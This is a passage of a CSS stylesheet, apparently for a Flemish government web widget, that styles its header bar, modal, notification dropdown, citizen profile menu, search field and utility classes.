          transform: none;
        }
      }

      .vlw .vlw__secondary-bar--hidden {
        margin-top: -43px;
        transform: translateZ(0);
        box-shadow: none;
      }

      .vlw .vlw__secondary-bar--hidden:focus-within {
        display: flex;
        transition: none !important;
        margin-top: 0 !important;
        box-shadow: 0 1px 3px rgba(12, 13, 14, 0.1), 0 4px 20px rgba(12, 13, 14, 0.035), 0 1px 1px rgba(12, 13, 14, 0.025);
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__secondary-bar--hidden:focus-within {
          transform: none;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__secondary-bar--hidden {
          transform: none;
        }
      }

      [data-useragent*="MSIE 9.0"] .vlw .vlw__secondary-bar,
      [data-useragent*="MSIE 10.0"] .vlw .vlw__secondary-bar {
        display: none !important;
      }

      .vlw .vlw__modal {
        box-shadow: 0 0 20px rgba(0, 0, 0, 0.3);
        background: #fff;
        position: fixed;
        z-index: 10002;
        left: 20px;
        top: 63px;
        right: 20px;
        bottom: 10px;
      }

      .vlw .vlw__modal__scroll {
        display: flex;
        width: 100%;
        height: 100%;
      }

      @supports (-webkit-overflow-scrolling: touch) {
        .vlw .vlw__modal__scroll {
          -webkit-overflow-scrolling: touch;
          overflow-y: scroll;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__modal {
          top: 53px;
          left: 10px;
          right: 10px;
          bottom: 10px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__modal {
          left: 0;
          right: 0;
          bottom: 0;
        }
      }

      .vlw .vlw__modal__close {
        display: flex;
        flex-direction: row;
        align-items: center;
        justify-content: center;
        position: absolute;
        z-index: 10003;
        top: -5px;
        right: -5px;
        background: #fff;
        border: none;
        box-shadow: 0 0 4px rgba(0, 0, 0, 0.5);
        width: 35px;
        height: 35px;
        line-height: 1;
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__modal__close {
          top: -3px;
          right: 0;
        }
      }

      .vlw .vlw__modal__close:hover,
      .vlw .vlw__modal__close:focus {
        fill: #0055CC;
      }

      .vlw .vlw__modal__close__icon {
        display: block;
        width: 16px;
        height: 16px;
        flex: 0 0 16px;
        fill: inherit;
      }

      .vlw .vlw__modal__content {
        height: 100%;
        width: 100%;
      }

      .vlw-modal-slide-fade-enter-active {
        transition: opacity 0.3s ease, transform 0.8s cubic-bezier(0.17, 0.65, 0.31, 1);
      }

      .vlw-modal-slide-fade-leave-active {
        transition: opacity 0.5s ease, transform 0.8s cubic-bezier(0.67, 0, 0.76, 0.64);
      }

      .vlw-modal-slide-fade-enter,
      .vlw-modal-slide-fade-leave-to {
        transform: translateY(-60px);
        opacity: 0;
      }

      .vlw .vlw__notification {
        position: relative;
        display: flex;
        height: 100%;
      }

      .vlw .vlw__notification:last-child {
        margin-right: 15px;
      }

      .vlw .vlw__notification--new .vlw__notification__toggle__icon {
        animation: bellshake 0.6s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
        backface-visibility: hidden;
        transform-origin: top right;
      }

      .vlw .vlw__notification--new .vlw__notification__toggle__unread {
        animation: pop 0.4s cubic-bezier(0.36, 0.07, 0.19, 0.97) both;
        backface-visibility: hidden;
        transform-origin: top right;
      }

      .vlw .vlw__notification__toggle {
        display: flex;
        align-items: center;
        fill: #666;
        text-decoration: none;
        border: none;
        background: none;
        cursor: pointer;
        padding: 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__notification__toggle {
          padding-left: 10px;
        }
      }

      .vlw .vlw__notification__toggle:hover,
      .vlw .vlw__notification__toggle:focus {
        fill: #0055CC;
      }

      .vlw .vlw__notification__toggle__unread {
        min-width: 16px;
        height: 16px;
        margin-right: 3px;
        padding-left: 2px;
        padding-right: 2px;
        border-radius: 16px;
        background: #0055CC;
        font-size: 13px;
        font-weight: 700;
        color: #fff;
        text-align: center;
        line-height: 16px;
        position: absolute;
        right: -8px;
        top: 7px;
      }

      .vlw .vlw__notification__toggle__icon {
        width: 18px;
        height: 18px;
        fill: inherit;
        transition: fill 0.1s ease-in-out;
        pointer-events: none;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__notification .vlw__dropdown__content,
        .vlw .vlw__notification .vlw__dropdown__content__layers {
          max-height: 80vh;
        }
      }

      .vlw .vlw__notification__list .vlw__alert-tile {
        margin: 10px;
        max-width: calc(100% - (2 *10px));
      }

      .vlw .vlw__notification__list,
      .vlw .vlw__notification__detail,
      .vlw .vlw__notification__nested {
        z-index: 1;
        overflow: auto;
        height: 100%;
      }

      .vlw .vlw__notification__nested {
        z-index: 2;
        background: #fff;
      }

      .vlw .vlw__notification__detail,
      .vlw .vlw__notification__item {
        text-align: left;
        list-style-type: none;
      }

      .vlw .vlw__notification__detail__title,
      .vlw .vlw__notification__detail__subtitle,
      .vlw .vlw__notification__detail__time,
      .vlw .vlw__notification__item__title,
      .vlw .vlw__notification__item__subtitle,
      .vlw .vlw__notification__item__time {
        display: block;
      }

      .vlw .vlw__notification__detail__time,
      .vlw .vlw__notification__item__time {
        color: #666;
        font-size: 14px;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__notification__detail__time,
        .vlw .vlw__notification__item__time {
          font-size: 13px;
          line-height: 1.1;
        }
      }

      .vlw .vlw__notification__detail__title,
      .vlw .vlw__notification__item__title {
        font-weight: 500;
      }

      .vlw .vlw__notification__detail__title__icon,
      .vlw .vlw__notification__item__title__icon {
        width: 12px;
        height: 12px;
        display: inline-block;
        vertical-align: middle;
        fill: #666;
      }

      .vlw .vlw__notification__detail__title__content-with-pill,
      .vlw .vlw__notification__item__title__content-with-pill {
        padding-right: 5px;
      }

      .vlw .vlw__notification__detail {
        background: #fff;
        padding: 15px 20px 20px;
      }

      .vlw .vlw__notification__detail__cta {
        padding: 20px;
        background: #fef9e5;
        border: 1px solid #ffc515;
      }

      .vlw .vlw__notification__detail__title {
        font-size: 19px;
        display: flex;
        align-items: center;
        margin-bottom: 20px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__notification__detail__title {
          font-size: 18px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__notification__detail__title {
          font-size: 17px;
        }
      }

      .vlw .vlw__notification__detail__subtitle {
        font-size: 14px;
        color: #666;
        margin-top: -15px;
        margin-bottom: 20px;
      }

      .vlw .vlw__notification__detail__link {
        padding-left: 17.5px;
        margin-top: 20px;
      }

      .vlw .vlw__notification__detail table {
        width: 100% !important;
      }

      .vlw .vlw__notification__detail table table[align=right] td {
        text-align: left !important;
      }

      .vlw .vlw__notification__detail table.item-image {
        width: auto !important;
      }

      .vlw .vlw__notification__detail td.button {
        padding-top: 0 !important;
        padding-bottom: 0 !important;
      }

      .vlw .vlw__notification__item {
        position: relative;
      }

      .vlw .vlw__notification__item:not(:last-of-type) {
        border-bottom: 1px #cbd2da solid;
      }

      .vlw .vlw__notification__item--new::before {
        content: "";
        position: absolute;
        z-index: 1;
        top: 10px;
        left: 55px;
        width: 8px;
        height: 8px;
        background: #0055CC;
        border-radius: 10px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__notification__item--new::before {
          left: 45px;
        }
      }

      .vlw .vlw__notification__item--warning .vlw__notification__item__cta {
        background: #fef9e5;
        border: 1px solid #ffc515;
      }

      .vlw .vlw__notification__item__arrow {
        position: absolute;
        top: 14px;
        right: 10px;
        fill: #333332;
        width: 12px;
        height: 12px;
      }

      .vlw .vlw__notification__item__cta {
        display: block;
        text-decoration: none;
        line-height: 1;
        padding: 10px 10px 10px 15px;
      }

      .vlw .vlw__notification__item__cta:hover .vlw__notification__item__arrow,
      .vlw .vlw__notification__item__cta:focus .vlw__notification__item__arrow {
        fill: #0055CC;
      }

      .vlw .vlw__notification__item__cta:hover .vlw__notification__item__title,
      .vlw .vlw__notification__item__cta:focus .vlw__notification__item__title {
        text-decoration: none;
      }

      .vlw .vlw__notification__item__content {
        display: inline-block;
        vertical-align: top;
        width: calc(100% - 75px);
      }

      .vlw .vlw__notification__item__badge {
        margin: 0 12.5px 0 0;
        color: #000;
        fill: #000;
      }

      .vlw .vlw__notification__item__badge.vlw__badge--alt {
        border: 1px solid #cbd2da;
      }

      .vlw .vlw__notification__item__title,
      .vlw .vlw__notification__item__subtitle,
      .vlw .vlw__notification__item__time,
      .vlw .vlw__notification__item__nested {
        max-width: 95%;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .vlw .vlw__notification__item__title {
        font-size: 16px;
        font-weight: 500;
        margin-bottom: 7px;
        display: block;
        line-height: 1.2;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__notification__item__title {
          font-size: 15px;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__notification__item__title {
          font-size: 14px;
        }
      }

      .vlw__notification__item--external .vlw .vlw__notification__item__title__icon {
        position: relative;
        top: 3px;
        display: inline-block;
        margin-right: 3px;
        color: #b2b2b2;
      }

      a.vlw__notification__item__cta:hover .vlw .vlw__notification__item__title {
        text-decoration: underline;
      }

      .vlw .vlw__notification__item__subtitle {
        color: #333332;
        font-size: 14px;
        padding: 0 0 7px;
        margin-bottom: 0;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__notification__item__subtitle {
          font-size: 13px;
          line-height: 1.1;
        }
      }

      .vlw .vlw__notification__item__nested {
        display: inline-flex;
        font-size: 14px;
        margin-bottom: 10px;
        margin-left: 73px;
        margin-top: 10px;
        text-decoration: underline;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__notification__item__nested {
          margin-left: 60px;
        }
      }

      .vlw .vlw__notification__item__nested .vi {
        color: #333332;
      }

      .vlw .vlw__notification__item__submenu {
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        width: 100%;
        height: 100%;
        background: #fff;
      }

      .vlw .vlw__notification__contact-data__title {
        margin-top: 20px;
        margin-bottom: 5px;
        color: #000;
        font-weight: 500;
      }

      .vlw .vlw__notification__contact-data__subtitle {
        font-weight: 500;
      }

      .vlw .left-enter-active,
      .vlw .left-leave-active,
      .vlw .right-enter-active,
      .vlw .right-leave-active {
        transition: all 0.25s ease;
      }

      .vlw .left-enter,
      .vlw .left-leave-to {
        opacity: 0;
        transform: translateX(-10%);
      }

      .vlw .right-enter,
      .vlw .right-leave-to {
        opacity: 0;
        transform: translateX(10%);
      }

      @keyframes bellshake {
        0% {
          transform: rotate(0);
        }

        15% {
          transform: rotate(5deg);
        }

        30% {
          transform: rotate(-5deg);
        }

        45% {
          transform: rotate(4deg);
        }

        60% {
          transform: rotate(-4deg);
        }

        75% {
          transform: rotate(2deg);
        }

        85% {
          transform: rotate(-2deg);
        }

        92% {
          transform: rotate(1deg);
        }

        100% {
          transform: rotate(0);
        }
      }

      @keyframes pop {
        0% {
          box-shadow: 0 0 0 1px rgba(0, 85, 204, 0.6);
        }

        100% {
          box-shadow: 0 0 0 6px rgba(0, 85, 204, 0);
        }
      }

      .vlw-notification-dropdown-transition-enter-active,
      .vlw-notification-dropdown-transition-leave-active {
        transition: opacity 0.2s, transform 0.4s;
      }

      .vlw-notification-dropdown-transition-enter,
      .vlw-notification-dropdown-transition-leave-to {
        opacity: 0;
        transform: translateY(-10px) translateZ(0);
      }

      @media screen and (max-width: 500px) {

        .vlw-notification-dropdown-transition-enter,
        .vlw-notification-dropdown-transition-leave-to {
          transform: translateY(20px) translateZ(0);
        }
      }

      .vlw .vlw__profile {
        position: relative;
        display: flex;
        align-items: center;
        height: 100%;
      }

      .vlw .vlw__profile:last-child {
        margin-right: 15px;
      }

      .vlw .vlw__profile__heading {
        display: flex;
        align-items: center;
        padding: 15px;
      }

      .vlw .vlw__profile__heading__icon {
        flex: 0 0 36px;
        width: 36px;
        height: 36px;
        margin-right: 14px;
        fill: #333332;
      }

      .vlw .vlw__profile__heading__label {
        font-size: 20px;
        font-weight: 500;
        line-height: 1;
        color: #333332;
      }

      .vlw .vlw__profile__toggle {
        display: flex;
        align-items: center;
        text-decoration: none;
        color: #333332;
        fill: #666;
        transition: all 0.1s ease-in-out;
        border: none;
        background: none;
        font-family: flanders-sans, sans-serif;
        font-size: 16px;
        cursor: pointer;
        padding: 0;
        height: 100%;
      }

      .vlw .vlw__profile__toggle-wrapper {
        height: 100%;
      }

      .vlw .vlw__profile__toggle:hover,
      .vlw .vlw__profile__toggle:focus {
        fill: #0055CC;
        color: #0055CC;
      }

      .vlw .vlw__profile__toggle:hover .vlw__profile__toggle__name__first,
      .vlw .vlw__profile__toggle:focus .vlw__profile__toggle__name__first {
        text-decoration: underline;
      }

      .vlw .vlw__profile__toggle:hover .vlw__profile__toggle__name,
      .vlw .vlw__profile__toggle:focus .vlw__profile__toggle__name {
        text-decoration: underline;
      }

      .vlw .vlw__profile__toggle__loader {
        height: 100%;
      }

      .vlw .vlw__profile__toggle__icon {
        flex: 0 0 24px;
        width: 24px;
        height: 24px;
        margin-right: 3px;
        fill: #333332;
      }

      .vlw .vlw__profile__toggle__name {
        display: flex;
        flex-direction: column;
        align-items: flex-start;
        text-transform: uppercase;
        font-weight: 500;
        font-family: flanders-sans, sans-serif;
        font-size: 15px;
        margin-left: 5px;
      }

      .vlw .vlw__profile__toggle__name:first-child {
        margin-right: 5px;
      }

      .vlw .vlw__profile__toggle__name:last-child {
        margin-left: 5px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__profile__toggle__name {
          position: absolute !important;
          overflow: hidden;
          clip: rect(0 0 0 0);
          height: 1px;
          width: 1px;
          margin: -1px;
          padding: 0;
          border: 0;
        }
      }

      .vlw .vlw__profile__toggle__name__first {
        font-size: 14px;
        font-weight: 500;
        font-family: flanders-sans, sans-serif;
        color: inherit;
        text-transform: uppercase;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
        max-width: 180px;
        line-height: 1;
      }

      .vlw .vlw__profile__toggle__name__capacity {
        line-height: 1;
        font-size: 12px;
        text-transform: uppercase;
        overflow: hidden;
        white-space: nowrap;
        text-overflow: ellipsis;
        max-width: 180px;
        line-height: 1;
        color: #666;
      }

      .vlw .vlw__profile__toggle__caret-icon {
        margin-left: 7px;
        display: flex;
      }

      .vlw .vlw__profile__toggle__caret-icon svg {
        fill: #666;
        width: 7px;
        height: 7px;
      }

      .vlw .vlw__profile__toggle__caret-icon--align-bottom {
        margin-top: auto;
        margin-bottom: 11px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__profile__toggle__caret-icon {
          position: absolute !important;
          overflow: hidden;
          clip: rect(0 0 0 0);
          height: 1px;
          width: 1px;
          margin: -1px;
          padding: 0;
          border: 0;
        }
      }

      .vlw .vlw__profile__toggle__badge {
        position: relative;
        width: 30px;
        height: 30px;
        border: 1px #cbd2da solid;
        border-radius: 30px;
        background: #e8ebee;
        overflow: hidden;
        fill: inherit;
      }

      .vlw .vlw__profile__toggle__badge--capacity {
        display: flex;
        justify-content: center;
        align-items: center;
      }

      .vlw .vlw__profile__toggle__badge[data-initials] {
        display: flex;
        align-items: center;
        justify-content: center;
      }

      .vlw .vlw__profile__toggle__badge[data-initials]::before {
        content: attr(data-initials);
        font-weight: 500;
        line-height: 1.1;
        font-size: 13px;
        color: #333332;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__profile__toggle__badge {
          width: 25px;
          height: 25px;
          border-radius: 25px;
        }
      }

      .vlw .vlw__profile__toggle__badge--small {
        border: 0;
        width: 20px;
        height: 20px;
      }

      .vlw .vlw__profile__toggle__badge__image {
        position: absolute;
        top: 0;
        left: 0;
        right: 0;
        bottom: 0;
        width: 100%;
        height: 100%;
        object-fit: cover;
        border-radius: 30px;
      }

      .vlw .vlw__profile__toggle__badge__icon {
        display: inline-block;
        width: 60%;
        height: 60%;
      }

      .vlw .vlw__profile__toggle__badge__unread {
        display: none;
        position: absolute;
        top: -3px;
        left: -3px;
        width: 15px;
        height: 15px;
        margin-right: 3px;
        border-radius: 15px;
        background: #0055CC;
        font-size: 11px;
        font-weight: 700;
        color: #fff;
        text-align: center;
        line-height: 15px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__profile__toggle__badge__unread {
          display: block;
        }
      }

      .vlw .vlw__profile__login {
        padding: 15px;
        border-bottom: 1px solid #e8ebee;
      }

      .vlw .vlw__profile__login__title {
        font-weight: 500;
      }

      .vlw-profile-dropdown-transition-enter-active,
      .vlw--dropdown-transition-leave-active {
        transition: opacity 0.2s, transform 0.4s;
      }

      .vlw--dropdown-transition-enter,
      .vlw--dropdown-transition-leave-to {
        opacity: 0;
        transform: translateY(-10px) translateZ(0);
      }

      @media screen and (max-width: 500px) {

        .vlw--dropdown-transition-enter,
        .vlw--dropdown-transition-leave-to {
          transform: translateY(20px) translateZ(0);
        }
      }

      .vlw .vlw__search {
        position: relative;
        height: 100%;
        padding-left: 15px;
        padding-right: 5px;
        flex: 0 0 auto;
        margin-left: auto;
      }

      .vlw .vlw__search__content {
        display: flex;
        align-items: center;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__search {
          margin-right: 0;
        }
      }

      .vlw .vlw__search>fieldset {
        display: flex;
        height: 100%;
      }

      .vlw .vlw__search input[type=text].vlw__search__input {
        border: 0;
        background: none;
        font-family: flanders-sans, sans-serif;
        font-size: 16px;
        padding: 7px 35px 7px 10px;
        border-radius: 0;
        width: 230px;
        height: 33px;
        transition: background-color 0.2s ease-in-out;
        margin: 0 0 0 10px;
        border: 1px #687483 solid;
        border-radius: 3px;
        background-color: #fff;
      }

      .vlw .vlw__search input[type=text].vlw__search__input:focus,
      .vlw .vlw__search input[type=text].vlw__search__input:not([value=""]):not(:focus):not(:invalid) {
        box-shadow: none;
        background: #fff;
        border: 1px #687483 solid;
      }

      .vlw .vlw__search input[type=text].vlw__search__input:focus {
        box-shadow: none;
      }

      .vlw .vlw__search input[type=text].vlw__search__input:required {
        box-shadow: none;
        color: #333332;
      }

      .vlw .vlw__search input[type=text].vlw__search__input:required:not(:focus) {
        box-shadow: none;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__search input[type=text].vlw__search__input {
          display: none;
          background: #fff;
          height: 33px;
          transition: none;
          top: 5px;
          right: 5px;
        }
      }

      .vlw .vlw__search__submit,
      .vlw .vlw__search__toggle {
        background: none;
        border: 0;
        appearance: none;
        border-radius: 0;
        fill: #05c;
        padding: 7px 10px;
        margin-left: 3px;
        height: 33px;
        cursor: pointer;
      }

      .vlw .vlw__search__submit__icon,
      .vlw .vlw__search__toggle__icon {
        width: 16px;
        height: 16px;
        fill: inherit;
        display: inherit;
      }

      .vlw .vlw__search__submit {
        position: absolute;
        right: 6px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__search__submit {
          display: none;
        }
      }

      .vlw .vlw__search__toggle {
        display: none;
        border: 1px #687483 solid;
        border-radius: 3px;
        background-color: #fff;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__search__toggle {
          display: block;
        }
      }

      .vlw .vlw__search__close {
        display: none;
        position: absolute;
        right: 3px;
        background: none;
        border: 0;
        appearance: none;
        border-radius: 0;
        fill: #333332;
        padding: 7px 10px;
        height: 35px;
        cursor: pointer;
      }

      .vlw .vlw__search__close:hover,
      .vlw .vlw__search__close:focus {
        fill: #0055CC;
      }

      .vlw .vlw__search__close__icon {
        width: 20px;
        height: 20px;
        fill: inherit;
        padding: 2px 1px 0;
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__search--active,
        .vlw .vlw__search:first-child {
          position: absolute;
          top: 0;
          left: 0;
          right: 0;
          margin-left: 0;
          margin-right: 0;
        }

        .vlw .vlw__search--active::before,
        .vlw .vlw__search:first-child::before {
          display: none;
        }

        .vlw .vlw__search--active:only-child,
        .vlw .vlw__search:first-child:only-child {
          margin-left: 0;
        }

        .vlw .vlw__search--active .vlw__search__input,
        .vlw .vlw__search--active .vlw__search__submit,
        .vlw .vlw__search:first-child .vlw__search__input,
        .vlw .vlw__search:first-child .vlw__search__submit {
          display: block !important;
          position: absolute;
          top: 5px;
        }

        .vlw .vlw__search--active .vlw__search__submit,
        .vlw .vlw__search:first-child .vlw__search__submit {
          right: 45px;
        }

        .vlw .vlw__search--active .vlw__search__input,
        .vlw .vlw__search:first-child .vlw__search__input {
          left: 5px;
          right: 0;
          margin-left: 0 !important;
          width: calc(100% - (5px * 3) - 35px) !important;
        }

        .vlw .vlw__search--active .vlw__search__toggle,
        .vlw .vlw__search:first-child .vlw__search__toggle {
          display: none;
        }

        .vlw .vlw__search--active .vlw__search__close,
        .vlw .vlw__search:first-child .vlw__search__close {
          display: block;
          position: absolute;
          top: 4px;
        }
      }

      @media screen and (max-width: 767px) {

        .vlw .vlw__search--active:first-child .vlw__search__close,
        .vlw .vlw__search:first-child:first-child .vlw__search__close {
          display: none;
        }

        .vlw .vlw__search--active:first-child .vlw__search__submit,
        .vlw .vlw__search:first-child:first-child .vlw__search__submit {
          right: 5px;
        }

        .vlw .vlw__search--active:first-child .vlw__search__input,
        .vlw .vlw__search:first-child:first-child .vlw__search__input {
          left: 5px;
          right: 0;
          margin-left: 0 !important;
          width: calc(100% - (5px * 2)) !important;
        }
      }

      .vlw .vlw__eloket-header {
        color: #333332;
        position: sticky;
        min-width: 768px;
        background-color: #e8ebee;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__eloket-header {
          min-height: 0;
          min-width: 0;
        }
      }

      .vlw .vlw__eloket-header__sub {
        border-top: 1px solid #cbd2da;
      }

      .vlw .vlw__eloket-header__row {
        padding: 10px 0;
        max-width: 100%;
      }

      .vlw .vlw__eloket-header__title {
        font-size: 20px;
        font-weight: 500;
        display: flex;
        align-items: center;
        gap: 11px;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__eloket-header__title {
          font-size: 18px;
        }
      }

      .vlw .vlw__eloket-header__title__link {
        text-decoration: none;
      }

      .vlw .vlw__eloket-header__title__link:hover,
      .vlw .vlw__eloket-header__title__link:focus {
        color: #05c;
        text-decoration: underline;
      }

      .vlw .vlw__eloket-header__title__link__icon {
        width: 10px;
        height: 10px;
        margin-right: 10px;
        fill: #05c;
      }

      .vlw .vlw__eloket-header__title__border {
        border-left: 1px solid #cbd2da;
        height: 16px;
      }

      .vlw .vlw__eloket-header__title__text {
        color: #333332;
      }

      .vlw .vlw__eloket-header__navigation-item-nav__list {
        display: flex;
        gap: 20px;
        flex-wrap: wrap;
      }

      .vlw .vlw__eloket-header__navigation-item-nav__list__item__link {
        text-decoration: none;
        display: inline-block;
        font-weight: 500;
        font-size: 16px;
        padding: 10px 0;
        border-bottom: 3px solid transparent;
        transition: border-bottom 0.2s ease-out;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__eloket-header__navigation-item-nav__list__item__link {
          font-size: 14px;
        }
      }

      .vlw .vlw__eloket-header__navigation-item-nav__list__item__link:hover,
      .vlw .vlw__eloket-header__navigation-item-nav__list__item__link--active {
        color: #333332;
        border-bottom: 3px solid #333332;
      }

      .vlw .vlw__citizen-profile__overflow-container {
        overflow: auto;
        max-height: 70vh;
        -webkit-overflow-scrolling: touch;
      }

      .vlw .vlw__citizen-profile__menu>li {
        padding: 15px;
      }

      .vlw .vlw__citizen-profile__menu .vlw__citizen-profile__menu__separator {
        height: 1px;
        background: #e8ebee;
        width: 100%;
        padding: 0px;
      }

      .vlw .vlw__citizen-profile__menu__sub-menu {
        display: flex;
        flex-direction: column;
        gap: 10px;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__title-label {
        text-transform: uppercase;
        font-weight: 500;
        font-size: 13px;
        color: #687483;
        letter-spacing: 1px;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__title {
        display: flex;
        flex-direction: column;
        align-items: flex-start;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__title__main {
        display: flex;
        flex-direction: row;
        align-items: center;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__title__main__icon {
        width: 20px;
        margin-right: 10px;
        display: flex;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__title__main__text {
        font-size: 16px;
        font-weight: 500;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__title__sub {
        padding-left: 30px;
        color: #687483;
        font-weight: 400;
        font-size: 14px;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__sub-links-container {
        display: flex;
        gap: 15px;
        flex-direction: column;
        padding: 5px 0px;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__button {
        width: 100%;
        justify-content: center;
        align-items: center;
      }

      .vlw .vlw__citizen-profile__menu__sign-in-menu__button__icon {
        display: flex;
        align-items: center;
      }

      .vlw .vlw__citizen-profile__menu-link-item {
        padding: 0;
        font-weight: 400;
        font-size: 15px;
      }

      .vlw .vlw__citizen-profile__menu-toggle__icon-wrapper {
        position: relative;
        width: 28px;
        height: 28px;
        border: 1px #cfd5dd solid;
        border-radius: 50%;
        overflow: hidden;
        fill: inherit;
      }

      .vlw .vlw__citizen-profile__menu-toggle__icon {
        width: 18px;
        height: 18px;
        top: 5px;
        left: 1.5px;
        position: relative;
      }

      .vlw .vlw__citizen-profile__icon-spacing {
        flex: 0 0 20px;
        width: 20px;
        height: 20px;
        margin-right: 10px;
      }

      .vlw .vlw__u-visually-hidden {
        position: absolute !important;
        overflow: hidden;
        clip: rect(0 0 0 0);
        height: 1px;
        width: 1px;
        margin: -1px;
        padding: 0;
        border: 0;
      }

      .vlw .vlw__u-align-center {
        text-align: center;
      }

      .vlw .vlw__u-align-full-center {
        display: flex;
        flex: 1;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        height: 100%;
      }

      .vlw .vlw__u-inline-block {
        display: inline-block;
      }

      .vlw .vlw__u-block {
        display: block;
      }

      .vlw .vlw__u-100 {
        width: 100%;
      }

      .vlw .vlw__u-color-error {
        color: #db3434;
      }

      .vlw .vlw__u-divider {
        border: 0;
        border-bottom: 1px #cbd2da solid !important;
      }

      .vlw .vlw__u-divider--full {
        position: relative;
        left: -15px;
        width: calc(100% + 30px);
      }

      .vlw .vlw__u-font-bold {
        font-weight: 500;
      }

      .vlw .vlw__icon {
        width: 24px;
        height: 24px;
        display: flex;
        align-items: center;
        justify-content: center;
      }

      .vlw .vlw__u-placeholder {
        visibility: hidden;
      }

      @media print {
        .vlw .vlw__u-hide-on-print {
          display: none;
        }

        .vlw .vlw__u-show-on-print {
          display: block;
        }
      }

      @media screen and (max-width: 1023px) {
        .vlw .vlw__u-hidden--m {
          display: none !important;
        }
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__u-hidden--s {
          display: none !important;
        }
      }

      @media screen and (max-width: 500px) {
        .vlw .vlw__u-hidden--xs {
          display: none !important;
        }
      }

      .vlw .vlw__u-spacer {
        display: block;
        margin-bottom: 15px;
      }

      .vlw .vlw__u-spacer--xs {
        margin-bottom: 5px;
      }

      .vlw .vlw__u-spacer--s {
        margin-bottom: 10px;
      }

      .vlw .vlw__u-spacer--l {
        margin-bottom: 25px;
      }

      .vlw .vlw__u-spacer--none {
        margin-bottom: 0;
      }

      .vlw .vlw__u-typography {
        font-size: 16px;
        line-height: 1.5;
      }

      .vlw .vlw__u-typography>* {
        margin-bottom: 15px;
      }

      .vlw .vlw__u-typography>*:last-child {
        margin-bottom: 0;
      }

      .vlw .vlw__u-typography p,
      .vlw .vlw__u-typography span {
        font-size: 16px;
        color: #333332;
      }

      .vlw .vlw__u-typography h1,
      .vlw .vlw__u-typography h2,
      .vlw .vlw__u-typography h3,
      .vlw .vlw__u-typography h4,
      .vlw .vlw__u-typography h5,
      .vlw .vlw__u-typography .vlw__h1,
      .vlw .vlw__u-typography .vlw__h2,
      .vlw .vlw__u-typography .vlw__h3,
      .vlw .vlw__u-typography .vlw__h4,
      .vlw .vlw__u-typography .vlw__h5 {
        font-weight: 500;
        margin-bottom: 15px;
      }

      .vlw .vlw__u-typography h1,
      .vlw .vlw__u-typography .vlw__h1 {
        font-size: 22px;
      }

      .vlw .vlw__u-typography h2,
      .vlw .vlw__u-typography .vlw__h2 {
        font-size: 20px;
      }

      .vlw .vlw__u-typography h3,
      .vlw .vlw__u-typography .vlw__h3 {
        font-size: 18px;
      }

      .vlw .vlw__u-typography h4,
      .vlw .vlw__u-typography .vlw__h4 {
        font-size: 16px;
      }

      .vlw .vlw__u-typography h5,
      .vlw .vlw__u-typography .vlw__h5 {
        font-size: 14px;
      }

      .vlw .vlw__u-typography ul,
      .vlw .vlw__u-typography ol,
      .vlw .vlw__u-typography .vlw__ul,
      .vlw .vlw__u-typography .vlw__ol {
        margin-left: 18px;
        font-size: 16px;
        line-height: 1.5;
      }

      .vlw .vlw__u-typography ul,
      .vlw .vlw__u-typography .vlw__ul {
        list-style-type: disc;
      }

      .vlw .vlw__u-typography ol,
      .vlw .vlw__u-typography .vlw__ol {
        list-style-type: decimal;
      }

      .vlw .vlw__u-typography b,
      .vlw .vlw__u-typography strong {
        font-weight: 500;
      }

      .vlw .vlw__u-typography i {
        font-style: italic;
      }

      .vlw .vlw__u-typography--small {
        font-size: 14px;
        line-height: 1.25;
      }

      @media screen and (max-width: 767px) {
        .vlw .vlw__u-typography--small {
          line-height: 1.1;
        }
      }

      .vlw .vlw__u-typography--small p,
      .vlw .vlw__u-typography--small span {
        font-size: 14px;
        margin-bottom: 15px;
      }

      .vlw .vlw__u-typography--small p:last-child,
      .vlw .vlw__u-typography--small span:last-child {
        margin-bottom: 0;
      }

      .vlw .vlw__u-text-clamp {
        display: block;
        max-width: 100%;
        white-space: nowrap;
        overflow: hidden;
        text-overflow: ellipsis;
      }

      .vlw .vlw__u-hr {
        border: 0;
        border-bottom: 1px solid #cbd2da;
        margin-top: 0;
        margin-bottom: 0;
      }

      .vlw .vlw__u-hr--wave {
        background: url("") repeat-x;
        background-size: 20px 4px;
        height: 4px;
        border-bottom: 0;
      }

